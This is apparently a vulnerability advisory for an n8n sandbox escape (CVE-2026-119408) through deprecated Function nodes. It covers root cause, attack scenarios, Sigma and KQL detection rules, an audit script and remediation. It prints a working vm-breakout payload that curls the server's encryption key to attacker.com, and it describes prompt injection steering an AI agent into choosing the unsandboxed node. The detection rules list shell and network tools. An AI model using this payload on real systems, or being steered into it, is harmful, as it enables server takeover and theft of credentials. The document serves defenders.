CVE-2026-119408: n8n Workflow Automation Task Runner Sandbox Isolation Escape via Deprecated Function Nodes Remote Code Execution
Critical AI workflow automation vulnerability weaponized and published by VulnCheck on October 31, 2026. Designated CVE-2026-119408, the flaw exists within n8n before versions 2.42.6, 2.43.3, and 3.0.1. Although modern n8n architectures isolate user-written and AI-generated scripts inside dedicated Task Runner processes or containers, deprecated legacy Function nodes (n8n-nodes-base.function) execute outside this boundary directly within the primary server Node.js process. An attacker who imports a crafted workflow or manipulates an autonomous agent into invoking legacy function execution escapes task runner containment, gaining direct access to host environment variables, encryption keys, internal database credentials, and the underlying server filesystem.
HERMES AGENTIC SECURITY SCORE & TASK RUNNER ESCAPE EVALUATION
Target:n8n Task Runner Sandbox Dispatcher & Legacy Function Node Execution Engine 1. Vulnerability Overview & Isolation Escape Mechanism
Section titled โ1. Vulnerability Overview & Isolation Escape Mechanismโn8n is an extensible workflow automation platform widely adopted by DevOps teams and AI engineers to orchestrate multi-agent workflows, API integrations, and webhook pipelines. In recent releases, n8n introduced an isolated Task Runner architecture (@n8n/task-runner), separating untrusted JavaScript code execution into distinct, resource-constrained worker processes or containers.
flowchart TD A["Attacker (Workflow Author, Collaborator, or Indirect Prompt Injection)"] -->|"1. Injects workflow with legacy 'n8n-nodes-base.function' node"| B["n8n Orchestration Server (Main Process)"] B -->|"2. Evaluates node execution route"| C{"Is Node Type 'Code' or Deprecated 'Function'?"} C -->|"Modern Code Node"| D["Task Runner Worker (Sandboxed Child Process / Container)"] C -->|"Deprecated Function Node"| E["Bypasses Task Runner Isolation!"] E -->|"3. Dispatches code to Node.js vm in main process"| F["Main Server Thread (Full Access to Process Memory)"] F -->|"4. Prototype breakout / direct process reference"| G["global.process.mainModule.require('child_process').execSync()"] G -->|"5. Host Remote Code Execution & Secrets Extraction"| H["Stolen N8N_ENCRYPTION_KEY & Server Root Compromise"]The Sandbox Bypass Primitive
Section titled โThe Sandbox Bypass PrimitiveโWhile modern Code nodes are intercepted by the workflow runner and dispatched via IPC to isolated worker processes with disabled native module loading, legacy Function nodes (n8n-nodes-base.function and n8n-nodes-base.functionItem) were maintained for backward compatibility.
In vulnerable versions (< 2.42.6, 2.43.0 < 2.43.3, and 3.0.0 < 3.0.1), these legacy nodes were omitted from the task runner routing table:
// Vulnerable execution dispatch logic in n8n-core/src/WorkflowExecute.tsasync function executeNode(node: INode, inputData: INodeExecutionData[][]): Promise<INodeExecutionData[][]> { // Modern Code nodes are routed to the external Task Runner if (node.type === 'n8n-nodes-base.code' && isTaskRunnerEnabled()) { return await taskRunnerClient.execute(node, inputData); }
// VULNERABILITY: Deprecated Function nodes bypass Task Runner entirely! // They execute directly within the main server process context if (node.type === 'n8n-nodes-base.function' || node.type === 'n8n-nodes-base.functionItem') { const vmContext = vm.createContext({ ...sandboxContext }); const script = new vm.Script(node.parameters.jsCode); return script.runInContext(vmContext); }
return await defaultNodeExecutor(node, inputData);}Because Node.jsโs built-in vm module does not guarantee security isolation against adversarial code, code running inside script.runInContext() can easily reference the host process object via constructor traversal:
// Payload breaking out of the unisolated legacy function nodeconst foreignProcess = this.constructor.constructor('return process')();const childProcess = foreignProcess.mainModule.require('child_process');childProcess.execSync('curl -s http://attacker.com/exfil?key=' + foreignProcess.env.N8N_ENCRYPTION_KEY);This grants the attacker execution within the primary n8n process, which possesses full read access to /data/n8n/, SQLite/Postgres credentials, webhook signing secrets, and OAuth tokens for connected enterprise SaaS platforms.
2. Attack Vectors & Real-World Weaponization
Section titled โ2. Attack Vectors & Real-World WeaponizationโAdversaries weaponize CVE-2026-119408 across multiple operational scenarios:
- Shared Workspace Hijacking: In multi-tenant or team n8n environments, a user with workflow authoring permissions imports a workflow containing a deprecated
Functionnode with an embedded escape payload, instantly escalating privileges to full server control. - Autonomous Agent Poisoning: In AI pipelines where an autonomous LLM writes custom code or dynamically builds workflows, prompt injection attacks against the agent coerce it into selecting the deprecated
Functionnode type instead ofCode, turning an agentic task into an unconstrained server breakout. - Template Repository Weaponization: Malicious workflow templates shared on community hubs or GitHub repositories silently bundle deprecated nodes that harvest credentials upon initial test execution.
3. Forensic Triage & Detection Engineering
Section titled โ3. Forensic Triage & Detection EngineeringโSOC teams and platform engineers should inspect workflow definitions for legacy function node instances and monitor parent-child process anomalies in n8n containers.
title: n8n Deprecated Function Node Sandbox Escape & Suspicious Process Spawnid: c4e19830-71a2-4a0b-9321-cve2026119408status: criticaldescription: Detects child process creation directly spawned by the main n8n server process rather than the isolated task runner daemon, indicating CVE-2026-119408 exploitation.references: - https://vulncheck.com/advisories/n8n-before-2.42.6-2.43.3-and-3.0.1-code-execution-outside-task-runner-isolation-via-deprecated-function-nodes - https://github.com/n8n-io/n8n/security/advisoriesauthor: Hermes Codex Cyber Defense Teamdate: 2026-10-31logsource: category: process_creation product: linuxdetection: selection_parent: ParentImage|endswith: - '/node' - '/n8n' ParentCommandLine|contains: - 'n8n/bin/n8n' - 'n8n start' selection_child: Image|endswith: - '/sh' - '/bash' - '/curl' - '/wget' - '/nc' - '/python' filter_task_runner: ParentCommandLine|contains: 'task-runner' condition: selection_parent and selection_child and not filter_task_runnerfalsepositives: - Workflows explicitly configured with the Execute Command node (review for legitimacy)level: criticaltags: - attack.execution - attack.t1059.007 - attack.t1611// Detect anomalous child processes spawned from the primary n8n server processDeviceProcessEvents| where InitiatingProcessFileName =~ "node" and InitiatingProcessCommandLine has "n8n"| where not(InitiatingProcessCommandLine has "task-runner")| where FileName in~ ("sh", "bash", "curl", "wget", "nc", "python", "python3")| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName| order by TimeGenerated desc# Audit n8n database for active workflows utilizing deprecated function nodesGet-ChildItem -Path ".\n8n_workflows\" -Filter "*.json" | ForEach-Object { $json = Get-Content $_.FullName -Raw | ConvertFrom-Json $vulnNodes = $json.nodes | Where-Object { $_.type -eq "n8n-nodes-base.function" -or $_.type -eq "n8n-nodes-base.functionItem" } if ($vulnNodes) { [PSCustomObject]@{ WorkflowFile = $_.Name WorkflowName = $json.name VulnerableNodeCount = $vulnNodes.Count } }}4. Remediation & Strategic Hardening
Section titled โ4. Remediation & Strategic Hardeningโ- Upgrade n8n Engine: Deploy security releases 2.42.6, 2.43.3, or 3.0.1 immediately. In these versions, deprecated function nodes either route through the task runner or are formally removed from execution capabilities.
- Enforce Task Runner Isolation: Set
N8N_RUNNERS_ENABLED=trueandN8N_RUNNERS_MODE=externalto ensure all script execution is strictly delegated to isolated, ephemeral worker containers with no host volume mounts. - Rotate Master Encryption Keys: If anomalous process creation was detected on the n8n server, immediately rotate
N8N_ENCRYPTION_KEYand all associated database credentials, API tokens, and webhook secrets. - Deploy Workflow Linting: Configure CI/CD or ingest validation hooks that reject any workflow JSON definition containing
n8n-nodes-base.functionorn8n-nodes-base.functionItem.